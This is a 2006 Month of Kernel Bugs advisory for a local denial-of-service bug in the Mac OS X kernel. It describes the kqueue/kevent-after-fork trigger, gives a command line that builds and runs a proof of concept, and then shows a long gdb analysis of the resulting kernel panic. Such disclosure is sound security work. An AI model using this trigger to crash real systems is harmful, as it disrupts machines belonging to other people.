MOKB-24-11-2006 OMG! PWNIES! M4C BUGS NOW COME IN P1NK!

Bug details
Title: Mac OS X kqueue Local Denial of Service OMG! PWNIES! DADDY I WANT M4C P0NYMONK3YS!
Description: Inconsistent handling of kqueue and kevent interfaces in the Mac OS X kernel, allows local unprivileged users to cause a denial of service condition.

This particular vulnerability can be abused by a process registering a queue and a kernel event via the kevent() call, then spawning a child via fork() and attempting to register another event for the same ("parent") queue. The kqueue(2) man page mentions that "queue is not inherited by a child created with fork(2)".
Author/Contributor: Kevin Finisterre <kf [at] digitalmunition.com> - testing on PPC
NA<NA[at] info-pull.com> - MoKB release, debugging.
dugsong - found original issue and provided proof of concept code.
References:
Proof of concept or exploit: The following proof of concept (C source code, will need Xcode packages installed to have GNU GCC for compilation) can be used to reproduce the bug: MOKB-24-11-2006.c.bz2
bunzip2 MOKB-24-11-2006.c.bz2 && gcc MOKB-24-11-2006.c -o MOKB-24-11-2006 && ./MOKB-24-11-2006
Debugging information:

It's been tested on an up-to-date (24-11-2006) Mac OS X installation, running on an Intel "shipping" Mac (x86; tested on PPC as well).

brubg:/tmp feuckstevo$ gdb /Volumes/KernelDebugKit/mach_kernel -c core-xnu-792.13.8-172.16.0.10-kevent-bogg
GNU gdb 6.3.50-20050815 (Apple version gdb-573) (Fri Oct 20 15:50:43 GMT 2006)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-apple-darwin"...
#0  Debugger (message=0x3c9540 "panic") at /SourceCache/xnu/xnu-792.13.8/osfmk/i386/AT386/model_dep.c:770
Line number 770 out of range; /SourceCache/xnu/xnu-792.13.8/osfmk/i386/AT386/model_dep.c has 312 lines.
(gdb) source /Volumes/KernelDebugKit/kgmacros
Loading Kernel GDB Macros package.  Type "help kgm" for more info.
(gdb) paniclog
panic(cpu 0 caller 0x001A3135): Unresolved kernel trap (CPU 0, Type 14=page fault), registers:
CR0: 0x8001003b, CR2: 0x000001b8, CR3: 0x00d72000, CR4: 0x000006e0
EAX: 0x00000000, EBX: 0x00000000, ECX: 0x00000004, EDX: 0x000001b8
CR2: 0x000001b8, EBP: 0x13fcbe78, ESI: 0x0285fcc0, EDI: 0x02da1000
EFL: 0x00010206, EIP: 0x00197976, CS:  0x00000008, DS:  0x00000010

Backtrace, Format - Frame : Return Address (4 potential args on stack)
0x13fcbcc8 : 0x128d1f (0x3c9540 0x13fcbcec 0x131df4 0x0)
0x13fcbd08 : 0x1a3135 (0x3cf1f4 0x0 0xe 0x3cea24)
0x13fcbe18 : 0x19a8d4 (0x13fcbe30 0x202 0x13fcbe48 0x12a12f)
0x13fcbe78 : 0x3334f0 (0x1b8 0x2 0x13fcbec8 0x13376f)
0x13fcbec8 : 0x333a76 (0x285fcc0 0x13fcbee8 0x0 0x1a1ec0)
0x13fcbf08 : 0x332bd7 (0x286135c 0x4000013c 0x13fcbf38 0x13adaa)
0x13fcbf38 : 0x33a652 (0x2da11a8 0x4000013c 0x13fcbfc8 0x1)
0x13fcbf68 : 0x378337 (0x2da1000 0x2707940 0x2707984 0x0)
0x13fcbfc8 : 0x19acae (0x25ce7e4 0x19a7f5 0x8 0x203) No mapping exists for frame pointer
Backtrace terminated-invalid frame pointer 0xbffffc48

Kernel version:
Darwin Kernel Version 8.8.1: Mon Sep 25 19:42:00 PDT 2006; root:xnu-792.13.8.obj~1/RELEASE_I386

(gdb) bt
#0  Debugger (message=0x3c9540 "panic") at /SourceCache/xnu/xnu-792.13.8/osfmk/i386/AT386/model_dep.c:770
#1  0x00128d1f in panic (str=0x3cf1f4 "Unresolved kernel trap (CPU %d, Type %d=%s), registers:\nCR0: 0x%08x,
                         CR2: 0x%08x, CR3: 0x%08x, CR4: 0x%08x\nEAX: 0x%08x, EBX: 0x%08x, ECX: 0x%08x,
                         EDX: 0x%08x\nCR2: 0x%08x, EBP: 0x%08x, ESI: 0x%08x, EDI"...)
                         at /SourceCache/xnu/xnu-792.13.8/osfmk/kern/debug.c:202
#2  0x001a3135 in kernel_trap (state=0x13fcbe30) at /SourceCache/xnu/xnu-792.13.8/osfmk/i386/trap.c:630
#3  0x0019a8d4 in trap_from_kernel ()
#4  0x003334f0 in kevent_register (kq=0x285fcc0, kev=0x13fcbee8, p=0x0)
                  at /SourceCache/xnu/xnu-792.13.8/bsd/kern/kern_event.c:1187
#5  0x00333a76 in filt_proc (kn=0x286135c, hint=1073742140) at /SourceCache/xnu/xnu-792.13.8/bsd/kern/kern_event.c:520
#6  0x00332bd7 in knote (list=0x2da11a8, hint=1073742140) at /SourceCache/xnu/xnu-792.13.8/bsd/kern/kern_event.c:1762
#7  0x0033a652 in fork (p=0x2da1000, uap=0x2707940, retval=0x2707984)
                  at /SourceCache/xnu/xnu-792.13.8/bsd/kern/kern_fork.c:364
#8  0x00378337 in unix_syscall (state=0x25ce7e4) at /SourceCache/xnu/xnu-792.13.8/bsd/dev/i386/systemcalls.c:196
#9  0x0019acae in lo_unix_scall ()
Cannot access memory at address 0xbffffc48
Cannot access memory at address 0xbffffc4c
(gdb) info registers
eax            0x0      0
ecx            0x0      0
edx            0x0      0
ebx            0x1      1
esp            0x13fcbc3c       0x13fcbc3c
ebp            0x13fcbcc8       0x13fcbcc8
esi            0x1      1
edi            0x1000   4096
eip            0x1a8674 0x1a8674 
eflags         0x0      0
cs             0x0      0
ss             0x0      0
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0
(gdb) showcurrentstacks
task        vm_map      ipc_space  #acts   pid  proc        command
0x02e11da0  0x013d6320  0x02588ec8    1    315  0x02da1000  a.out
            activation  thread      pri  state  wait_queue  wait_event
            0x0275591c  0x0275591c   31  R
                kernel_stack=0x13fc8000
                stacktop=0x13fcbcc8
                0x13fcbcc8  0x128d1f 
                0x13fcbd08  0x1a3135 
                0x13fcbe18  0x19a8d4 
                0x13fcbe78  0x3334f0 
                0x13fcbec8  0x333a76 
                0x13fcbf08  0x332bd7 
                0x13fcbf38  0x33a652 
                0x13fcbf68  0x378337 
                0x13fcbfc8  0x19acae 
                stackbottom=0x13fcbfc8

(gdb) disas 0x003334f0
Dump of assembler code for function kevent_register:
0x00333450 : push   %ebp
0x00333451 : mov    %esp,%ebp
0x00333453 : push   %edi
0x00333454 : push   %esi
0x00333455 : push   %ebx
0x00333456 : sub    $0x3c,%esp
0x00333459 : mov    8(%ebp),%esi
0x0033345c :        mov    88(%esi),%eax
0x0033345f :        mov    %eax,-56(%ebp)
0x00333462 :        movl   $0x0,-28(%ebp)
0x00333469 :        mov    12(%ebp),%edx
0x0033346c :        movzwl 4(%edx),%eax
0x00333470 :        test   %ax,%ax
0x00333473 :        jns    0x333498 
0x00333475 :        cwtl
0x00333476 :        mov    %eax,%ecx
0x00333478 :        add    $0x9,%ecx
0x0033347b :        js     0x3334a9 
0x0033347d :        not    %eax
0x0033347f :        mov    4532928(,%eax,4),%eax
0x00333486 :        mov    %eax,-52(%ebp)
0x00333489 :        mov    (%eax),%eax
0x0033348b :        test   %eax,%eax
0x0033348d :        jne    0x3334b5 
0x0033348f :        movl   $0x0,-48(%ebp)
0x00333496 :        jmp    0x3334e3 
0x00333498 :        cwtl
0x00333499 :        mov    %eax,4(%esp)
0x0033349d :        movl   $0x3e7490,(%esp)
0x003334a4 :        call   0x131e79 
0x003334a9 :        movl   $0x16,-48(%ebp)
0x003334b0 :        jmp    0x3339af 
0x003334b5 :       movl   $0x0,12(%esp)
0x003334bd :       lea    -28(%ebp),%eax
0x003334c0 :       mov    %eax,8(%esp)
0x003334c4 :       mov    12(%ebp),%ebx
0x003334c7 :       mov    (%ebx),%eax
0x003334c9 :       mov    %eax,4(%esp)
0x003334cd :       mov    16(%ebp),%eax
0x003334d0 :       mov    %eax,(%esp)
0x003334d3 :       call   0x32ef95 
0x003334d8 :       mov    %eax,-48(%ebp)
0x003334db :       test   %eax,%eax
0x003334dd :       jne    0x3339af 
0x003334e3 :       xor    %ebx,%ebx
0x003334e5 :       mov    16(%ebp),%edx
0x003334e8 :       mov    %edx,(%esp)
0x003334eb :       call   0x32e334 
0x003334f0 :       mov    -52(%ebp),%ecx
0x003334f3 :       mov    (%ecx),%edi
0x003334f5 :       test   %edi,%edi
0x003334f7 :       je     0x33352d 
(...)

(gdb) select-frame 4
(gdb) frame
#4  0x003334f0 in kevent_register (kq=0x285fcc0, kev=0x13fcbee8, p=0x0)
    at /SourceCache/xnu/xnu-792.13.8/bsd/kern/kern_event.c:1187
1187                                        kq == kn->kn_kq &&
(gdb) info registers
eax            0x0      0
ecx            0x0      0
edx            0x0      0
ebx            0x19a760 1681248
esp            0x13fcbe80       0x13fcbe80
ebp            0x13fcbec8       0x13fcbec8
esi            0x285fcc0        42335424
edi            0x13fcbe30       335330864
eip            0x3334f0 0x3334f0 
eflags         0x0      0
cs             0x0      0
ss             0x0      0
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0
(gdb) p kq
$2 = (struct kqueue *) 0x285fcc0
(gdb) p kn
$3 = (struct knote *) 0x19a760
(gdb) p kn->kn_kq
$4 = (struct kqueue *) 0x3a80000
(gdb) x/10 0x3a80000
0x3a80000:      Cannot access memory at address 0x3a80000
(gdb) info locals
fdp = (struct filedesc *) 0x284e720
fops = (struct filterops *) 0x452af4
fp = (struct fileproc *) 0x0
kn = (struct knote *) 0x19a760
error = 0
kq = (struct kqueue *) 0x285fcc0
(gdb) p kev
$8 = (struct kevent *) 0x13fcbee8

(gdb) x/10i  0x00197976
0x197976 :      cmpl   $0x1007,0(%edx)
0x19797d :     cmove  4(%edx),%edx
0x197981 :     pushf
0x197982 :     cli
0x197983 :     mov    %gs:4,%ecx
0x19798a :     mov    (%edx),%eax
0x19798c :     test   %eax,%eax
0x19798e :     jne    0x1979c1 
0x197990 :     lock cmpxchg %ecx,(%edx)
0x197994 :     jne    0x19798a